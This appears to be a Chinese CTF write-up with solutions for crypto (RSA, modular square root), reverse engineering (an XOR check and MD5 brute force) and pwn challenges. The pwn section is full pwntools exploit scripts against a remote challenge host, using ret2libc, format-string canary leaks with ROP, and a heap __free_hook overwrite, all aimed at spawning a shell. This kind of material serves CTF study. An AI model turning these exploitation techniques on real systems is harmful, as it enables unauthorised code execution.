

✧ Crypto

ezrsa

二次剩余，数给反了

```
from Crypto.Util.number import *
p,c=412482079973710723630883700852439735510778695041476999618132433355
6950154206980059406402767327725312238673053581148641438494212320157665
395208337575556385,
1310793956350745977461620414125374748923206333620417394412326328450760
4328885680072478669016969428366667381358004059204207134817952620014738
665450753147857
c,p=p,c

R.<x> = PolynomialRing(Zmod(p))
f = x^2 - c
roots = f.roots()
if len(roots) > 0:
    c = roots[1][0]
    print("flag 的值为:", long_to_bytes(int(c)))
else:
    print("无解")
```

hdrsa

```
import os
import sys
from unittest import TestCase

path =
os.path.dirname(os.path.dirname(os.path.realpath(os.path.abspath(__file__))))
if sys.path[1] != path:
    sys.path.insert(1, path)

from attacks.factorization import complex_multiplication
```

```

from tqdm import *
a = [35,51,91,115,123,187,235,267,403,427]
class TestFactorization(TestCase):

    def test_complex_multiplication(self,D):
        # Recursion limit is necessary for calculating division
        polynomials using sage.
        rec_limit = sys.getrecursionlimit()
        sys.setrecursionlimit(50000)

N=33096175288799617332885493596511258888440358453102256111974374065036
4958220684640754584393850796812833007843940336784599719224428969119533
2842864240775471651014604698479807993704196550820691790384976377613333
2707937459950657472389214381722675180680267601322518846740327465821156
3655876500997296917421904614128056847977798146855336939306463059440416
1504932629732694310007622855792211263420176241182388292306799530118973
1472280199375045492462707426435369206000275852140154436138523135431398
1836056855582929670811259113019012970540824951139489146393182532414878
2141820869992983973778455345685561009339344811807019973945582649695976
0666234289802691550674900249132625079210734817668179594279995452606850
1499100232598658650184565873243525176833451664254917655703178472944744
6586285341953469770234185507616202545281785169720666189369602236603624
9393178638908539339295020704867579759381627143570013099522548331662583
6104802608163745376633884840588575355936746173068655319645572100149515
5241318838137734869171221532484950223726909125725417759436146267339482
0625290047311824071283144407224377097941952921003488390311103844836693
3374841531126421441232024514486168742686297481063089161977054825621099
7686590975099394053150563253361209294928384793096099586969578905702954
4449427781906344342797264345978489445078701515171567653738523776799040
6742547664321563688829289809321534752244260529319454316532580416182438
7498499233540601252293280439613558940865762385191388682984992490237732
377701030577079127097254170333090613088805839886646389282863329283996
8866953776989722310954204550783825704710017434214644199415756584929214
2396794332113932303077829530672465296261364463149412588774393560947753
3754132133160078804269866463206411289695689822239744549769598254692287
1549828242938368486774617350420790711093069910914135319635330786253331
223459637232106417577225350441291

        p_, q_ = complex_multiplication.factorize(N, D)
        print(q_)
        if N%p_==0:
            print(p_)
            exit()
        self.assertIsInstance(p_, int)

```

```
self.assertIsInstance(q_, int)
self.assertEqual(N, p_ * q_)

sys.setrecursionlimit(rec_limit)
test=TestFactorization()
for d in tqdm(a[:: -1]):
    try:
        test.test_complex_multiplication(d)
    except:continue
from Crypto.Util.number import *
n=33096175288799617332885493596511258888440358453102256111974374065036
4958220684640754584393850796812833007843940336784599719224428969119533
2842864240775471651014604698479807993704196550820691790384976377613333
2707937459950657472389214381722675180680267601322518846740327465821156
3655876500997296917421904614128056847977798146855336939306463059440416
1504932629732694310007622855792211263420176241182388292306799530118973
1472280199375045492462707426435369206000275852140154436138523135431398
1836056855582929670811259113019012970540824951139489146393182532414878
2141820869992983973778455345685561009339344811807019973945582649695976
0666234289802691550674900249132625079210734817668179594279995452606850
1499100232598658650184565873243525176833451664254917655703178472944744
6586285341953469770234185507616202545281785169720666189369602236603624
9393178638908539339295020704867579759381627143570013099522548331662583
6104802608163745376633884840588575355936746173068655319645572100149515
5241318838137734869171221532484950223726909125725417759436146267339482
0625290047311824071283144407224377097941952921003488390311103844836693
3374841531126421441232024514486168742686297481063089161977054825621099
7686590975099394053150563253361209294928384793096099586969578905702954
4449427781906344342797264345978489445078701515171567653738523776799040
6742547664321563688829289809321534752244260529319454316532580416182438
7498499233540601252293280439613558940865762385191388682984992490237732
3777010305770791270972541703330906130888058398866646389282863329283996
8866953776989722310954204550783825704710017434214644199415756584929214
2396794332113932303077829530672465296261364463149412588774393560947753
3754132133160078804269866463206411289695689822239744549769598254692287
1549828242938368486774617350420790711093069910914135319635330786253331
223459637232106417577225350441291
```

c=18727536751318634510453486523999469989217090448972541333076711519217
2530253625393062151741036312498277557971553595091826062438445856091864
6057583185795993635392021546256839475689623587025458787609944348132229
5350346091044766218320033496082111061874689979816536338925534736319257
6250804362413854445821046755759458439443253294822553986237695607000569
7178559424615175645266111066017741006176682315065392012975503768340671
1878454895169992765988981577049268410628780161026102667477850924564950
1695344652216367741171392139049785280654043804502329999760613658697298
6716027879291992395246171605673366341261850429075934279210161297347570
6550441711226902702879904757945096507683588202026116219247563727844525
5805339324893626400179818784574957669576516363342104273184813708475202
3135396340277643408582427649348728045708105757641919879216552765206581
0075551098629056298005513337675081253571356791782366313497418044900246
6833109112866681229626239871954125027501071383217816313440079294139254
9894130507315115164981272250209750717473147645522678459334946002952968
8580846629684409161240106256650251535697485216181711253828944097005978
3116540091633055220150093646069438113246518726017868258339512247175386
0526848616704311484844557654459604951303081471564369983275538543877410
1417742155958568338200337780315828360388931210783788549196483507389217
4406797445622388505256985237867456926792546588756970045576002345376035
3467279062646835966289034179325663832217549768041488780573100668851407
7635220251058446155698817936917756040392339952984287108753249573992190
6849249072433614545319458973155343802539527630971239359995893495205324
4834181917445455067442532229562325069808244579956629002644272659782395
4008982573373430636315347160620022884199792802146835964566122193384854
5854596097640552489404777927679709089475954033350287287833943519423030
861868256961619722983499902810335

p=16486456392568284654575447481741337432037045210800881835922614280067
0955974037100054558858678295345991081051978531201215747791914811253157
2296425788887357909980069006839772896033556131571761913209774789100699
0987234219773215951341290375325467839650020485843410133760476863038747
6054175679707383124281988042917436471845268066920925072583930498002621
2970039161865245391690214151258283835742445527838899282031118204275075
9628796263458005206211851622898042001270110860445227518098099442496544
2914874536168616042542917504118878575950936365534373311704356604754546
7214333058929982437607654768905172484478633732628176922210741735587758
7836699896745726567628092282995399905968099655245359825181671342180522
1538675204585573781008054958857289655171247491131859240786881166257438
9154740724845936118553413765559879484138134507259595217354708891014131
6887889085791098603541066183857855045537851225348728432140633429582547
3558751690183871469980106516972363112382813090724625713348865019534412
7842009139462049841946194756963053401399250005394289307586303145259312
7978173868322268503740398804653340332478754797272662812261231775395620
6893009493938594235664923115846857420068041943873498337130977363896556
60701086473349762351032974011890884285149086019

```
q=n//p
d=inverse(65537,(p-1)*(q-1))

print(long_to_bytes(pow(c,d,n)))
```

✧ Re

先去除反调试

发现flag是uuid形式，并且加密是去除flag{}格式以及'-'对密文分段加密

找到第一处加密函数

```
int __cdecl sub_402CE0(int a1)
{
    int result; // eax
    int i; // [esp+4Ch] [ebp-3Ch]
    int v3[13]; // [esp+54h] [ebp-34h]

    v3[0] = 102;
    v3[1] = 52;
    v3[2] = 51;
    v3[3] = 49;
    v3[4] = 52;
    v3[5] = 57;
    v3[6] = 96;
    v3[7] = 60;
    v3[8] = 61;
    v3[9] = 34;
    v3[10] = 104;
    v3[11] = 33;
    v3[12] = 56;
    for ( i = 0; i < 13; ++i )
    {
        if ( i % 2 )
        {
            if ( ((2 * i) ^ *(i + a1)) != v3[i] )
                sub_401028();
        }
        else if ( (i ^ *(i + a1)) != v3[i] )
        {

```

```

        sub_401028();
    }
    result = i + 1;
}
return result;
}

```

得到

```

v2=13
while v2 ≤ 28:
    x[v2]="-"
    v2+=5
print("".join(x))
v3=[0]*13
a=[0]*13
v3[0] = 102;
v3[1] = 52;
v3[2] = 51;
v3[3] = 49;
v3[4] = 52;
v3[5] = 57;
v3[6] = 96;
v3[7] = 60;
v3[8] = 61;
v3[9] = 34;
v3[10] = 104;
v3[11] = 33;
v3[12] = 56;
for i in range(13):
    if i%2:
        a[i]=v3[i]^2*i
    else:a[i]=v3[i]^i
print(bytes(a))#f61703f250b74

```

然后第二段是一个md5加密，并且通过base64密文得到前14位，进行爆破的到

```

from hashlib import *
import itertools,string
key='3FBAC491C4740226EC9238C20B6D27D3'.lower()
f="f47813c26594c0"
alp="0123456789abcdef"
for i in itertools.product(alp,repeat=4):
    m=f+"".join(i)
    md5m=md5(m.encode()).hexdigest()
    if md5m==key:
        print(m)#f47813c26594c0e581

```

还差最后一位，手动爆破为0

得到flag为flag{f61703f2-50b7-4f47-813c-26594c0e5810}

✧ Pwn

inverse

```

from pwn import*

context.arch='amd64'
context.log_level='debug'
p=remote("124.71.135.126",30065)
#p=process('./pwn')

libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
rn = lambda x : p.recvn(x)
ru = lambda text : p.recvuntil(text)
dbg = lambda text=None : gdb.attach(p, text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b'\x00'))
lg = lambda s : log.info('\033[1;31;40m %s → 0x%x \033[0m' % (s, eval(s)))
pr = lambda s : print('\033[1;31;40m %s → 0x%x \033[0m' % (s, eval(s)))
sla("input world tag: ", '1')

```

```

sl('-1')
# db()
# pause()
sla("leave me a
msg:", flat(['a'*0x3c, 0, elf.plt['puts'], elf.sym['main'], elf.got['printf
']]))
libc_base = uu32(r(4)) - 0x50D60
lg('libc_base')
system = libc_base + 0x3CF10
sla("input world tag: ", b'sh\x00\x00')
sl('-1')
sla("leave me a msg:", flat(['a'*0x3c, 0, system, 0, 0x804C030]))

p.interactive()

```

controller

```

from pwn import*

context.arch='amd64'
context.log_level='debug'
p=remote("124.71.135.126", 30214)
#p=process('./pwn')

libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
rn = lambda x : p.recvn(x)
ru = lambda text : p.recvuntil(text)
dbg = lambda text=None : gdb.attach(p, text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b'\x00'))
lg = lambda s : log.info('\033[1;31;40m %s → 0x%x \033[0m' % (s,
eval(s)))
pr = lambda s : print('\033[1;31;40m %s → 0x%x \033[0m' % (s,
eval(s)))
def mydbg():
    gdb.attach(p, "set follow-fork-mode parent\nb *0x0401735")
    pause()

```



```

def menu(choice):
    ru("> ")
    sl(str(choice))

def add(size,name,content):
    menu(2)
    ru("What's length of the new pipe name?")
    sl(str(size))
    ru("What's name of the new pipe? ")
    sl(name)
    ru("Please write a description:")
    sl(content)
    ru("Please enter the data (radius,speed,length):")
    sl("30")

def stack_overflow(name,passwd):
    menu(9)
    ru("Name: ")
    sl(name)
    ru("Please confirm your password: ")
    sl(passwd)

def printf_format():
    menu(1)

add(0x30,"aaaaaa", "%13$p%10$p")
printf_format()
ru("aaaaaa")
ru("l: 0.00 ")
libc_base=int(rn(19),16)-0x21c87
stack_addr=int(rn(14),16)

#mydbg()
ru("Please input any key to continue ...")
s("\n")
canary_addr=stack_addr-0xf8
payload="%" + str((canary_addr&0xffff)+1) + "c%15$hn"
add(0x30,"bbbbbb",payload)
lg("libc_base")
lg("canary_addr")
lg("stack_addr")
printf_format()

```

```

ru("Please input any key to continue ...")
s("\n")

add(0x30, "bbbbbb", "%41$s")
printf_format()
ru("bbbbbb")
canary=u64(ru("\n")[-9:-2].rjust(8, b"\x00"))
ru("Please input any key to continue ...")
s("\n")

sys=libc_base+libc.sym['system']
binsh=libc_base+next(libc.search(b"/bin/sh"))
pop_rdi=0x00000000000402533
ret=0x00000000000400b3e
lg("canary")

payload=b"\x00".ljust(8, b"\x00")+p64(canary)+p64(0)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(sys)
stack_overflow("aaaaaa", payload)

p.interactive()

```

bit

```

from pwn import*
from LibcSearcher import *
context.arch='amd64'
context.log_level='debug'
p=remote("124.71.135.126",30063)
#p=process('./channel')
libc=ELF("./libc-2.31.so")
s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
rn = lambda x : p.recvn(x)
ru = lambda text : p.recvuntil(text)
dbg = lambda text=None : gdb.attach(p, text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\xf7")[-6:].ljust(8, b'\x00'))

```

```

lg = lambda s : log.info('\033[1;31;40m %s → 0x%x \033[0m' % (s,
eval(s)))
pr = lambda s : print('\033[1;31;40m %s → 0x%x \033[0m' % (s,
eval(s)))

def mydbg():
    gdb.attach(p)
    pause()

def menu(choice):
    ru("#")
    sl(str(choice))

def add(size,content):
    menu(1)
    ru("channel size: ")
    sl(str(size))
    ru("channel data: ")
    sl(content)

def show(index):
    menu(2)
    ru("index: ")
    sl(str(index))

def delete(index):
    menu(3)
    ru("index: ")
    sl(str(index))

def decimal_to_binary(decimal_num):
    # 将整数转换为二进制字符串
    binary_str = bin(decimal_num)[2:]
    # 计算需要添加的零的数量
    num_zeros = (8 - len(binary_str) % 8) % 8
    # 在二进制字符串开头添加零
    binary_str = '0' * num_zeros + binary_str
    binary_str=binary_str[::-1]
    return binary_str

def binary_to_decimal(binary_str):

```

```

# 将二进制字符串转换为十进制整数
decimal_num = int(binary_str, 2)
return decimal_num

add(0x68*8, "10000000"*0x20) #0
for i in range(8):
    add(0x18*8, "01000000"*0x18) #1-8
add(0x4f8*8, "10000000"*0x20) #9
for i in range(7):
    add(0x18*8, "01000000"*0x18) #10-16
for i in range(7):
    add(0x68*8, "10000000"*0x20) #17-23
for i in range(10, 17):
    delete(i)

for i in range(17, 24):
    delete(i)

delete(5)
delete(1)
delete(7)
delete(0)

add(0x400*8, "100000") #0
add(0x88*8+7, "00000000"*0x68+decimal_to_binary(0x101)) #1

add(0x18*8, "01000000"*0x17) #5
add(0x18*8, "01000000"*0x17) #7
add(0x18*8, "01000000"*0x17) #10
add(0x18*8, "01000000"*0x17) #11
add(0x18*8, "01000000"*0x17) #12
add(0x18*8, "01000000"*0x17) #13
add(0x18*8, "01000000"*0x17) #14

add(0x18*8, "00000000"*9) #15
add(0x18*8, "00000001") #16

delete(4)
delete(16)

add(0x18*8, "00000000") #4
add(0x18*8, "00000000") #16

```

```
delete(8)
add(0x18*8+7, "00000000"*0x10+decimal_to_binary(0x100)+"00000000"*6+"00
00000")#8

delete(9)
add(0x18*7, "0000") #9
show(2)
ru(":")
libc_base=decimal_to_binary(rn(64)[::-1])-0x1ebbe0
sys=libc_base+libc.sym['system']
free_hook=libc_base+libc.sym['__free_hook']
lg("libc_base")
delete(5)
delete(16)

add(0x58*8, "00000000"*0x40+decimal_to_binary(free_hook))#5
add(0x18*7, decimal_to_binary(0x68732f6e69622f)) #16
add(0x18*7, decimal_to_binary(sys))
delete(16)

p.interactive()
```